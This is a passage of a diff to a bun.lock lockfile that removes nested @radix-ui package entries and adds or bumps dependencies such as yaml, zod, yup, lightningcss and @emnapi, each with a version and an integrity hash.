"@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-popover/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-popover/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-popover/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-popper/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], - - "@radix-ui/react-roving-focus/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-scroll-area/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-scroll-area/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], + "yaml": ["yaml@2.9.0", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA=="], - "@radix-ui/react-scroll-area/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], + "yuku-analyzer": ["yuku-analyzer@0.9.3", "", { "dependencies": { "@yuku-toolchain/types": "^0.9.3", "yuku-ast": "^0.9.3" }, "optionalDependencies": { "@yuku-analyzer/binding-android-arm64": "0.9.3", "@yuku-analyzer/binding-darwin-arm64": "0.9.3", "@yuku-analyzer/binding-darwin-x64": "0.9.3", "@yuku-analyzer/binding-freebsd-x64": "0.9.3", "@yuku-analyzer/binding-linux-arm-gnu": "0.9.3", "@yuku-analyzer/binding-linux-arm-musl": "0.9.3", "@yuku-analyzer/binding-linux-arm64-gnu": "0.9.3", "@yuku-analyzer/binding-linux-arm64-musl": "0.9.3", "@yuku-analyzer/binding-linux-x64-gnu": "0.9.3", "@yuku-analyzer/binding-linux-x64-musl": "0.9.3", "@yuku-analyzer/binding-win32-arm64": "0.9.3", "@yuku-analyzer/binding-win32-x64": "0.9.3" } }, "sha512-2xSREErroEF8boH7XyKfVO5hbjP6PCIYYnLR2Abg6PGJaFVbETLucmbzIebBOHeyY4GO6VXzloTuhUldR/zyew=="], - "@radix-ui/react-scroll-area/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "yuku-ast": ["yuku-ast@0.9.3", "", { "dependencies": { "@yuku-toolchain/types": "^0.9.3" } }, "sha512-Kt0PXlPCXdKF1fWFTl7N3DaxsVk6DHF8VAXHJMkwPtJnWYgbx20pYgGSweuC/86mIM7k1NUITQ4JffgOLUWTCw=="], - "@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-tabs/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], + "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - "@radix-ui/react-tabs/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], + "zbsearch": ["zbsearch@4.0.0", "", {}, "sha512-gm4zfO31n2ZdruTTRQoWVWO4Q2+zrDt2GlrvIc+5JulRQNAm4IanCxER82vQ7Ug96FYkGqWUJBXFe1kGAcDWaQ=="], - "@radix-ui/react-tabs/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], + "zod": ["zod@4.5.4", "", {}, "sha512-sC95tT5iHHH9gtpj6A81kh+NEaRAUFN+qlUPDUbRfOMvNf5QCBqsb3WgvnpVtK5Y+4UfA6KqufotuTvMGiTlsA=="], - "@radix-ui/react-tabs/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - "@radix-ui/react-tabs/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - "@radix-ui/react-use-controllable-state/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - "@radix-ui/react-use-effect-event/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@tailwindcss/node/lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="], - "@radix-ui/react-visually-hidden/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "@tailwindcss/node/magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.10.0", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.1", "tslib": "^2.4.0" }, "bundled": true }, "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.11.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" }, "bundled": true }, "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.10.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.11.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.2", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA=="], - "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.4", "", { "dependencies": { "@tybys/wasm-util": "^0.10.1" }, "peerDependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1" }, "bundled": true }, "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow=="], + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.2.3", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.4", "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4" }, "bundled": true }, "sha512-UMduMbqO5s5zF2NkNacMT/yK5Y5QiKvWr2+50bzIIxFDwVJ2h49b+oyjaCGPhJxd2/gC2x39EHv/gHVuu36x2Q=="], "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.3", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg=="], "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], - "@tanstack/devtools-vite/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="], - - "@tanstack/devtools-vite/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], - - "@tanstack/devtools-vite/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], - - "@tanstack/devtools-vite/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="], + "@tanstack/devtools/@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.6", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.1" } }, "sha512-f85ZJXJnDIFOoykG/BFIixuAevJovCvJF391LPs6YjBAPhGYC50NWlx1y4iF/UmK5/cCMx+/JqI5SBOz7FanQQ=="], - "@tanstack/devtools-vite/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], - - "@tanstack/devtools-vite/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], - - "@types/react-copy-to-clipboard/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], - - "@types/react-syntax-highlighter/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + "@tanstack/devtools/@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.1", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-cNnJ89Q021Zf883rlbBTfsaxTfi2r73/qejGtyTa7ksErF3hyDyAq1aTbo5crK9dAL7zSHh9viKY1BtMls1QOA=="], "ansi-align/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], - "boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], - - "browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="], - "chalk-template/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], "compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, 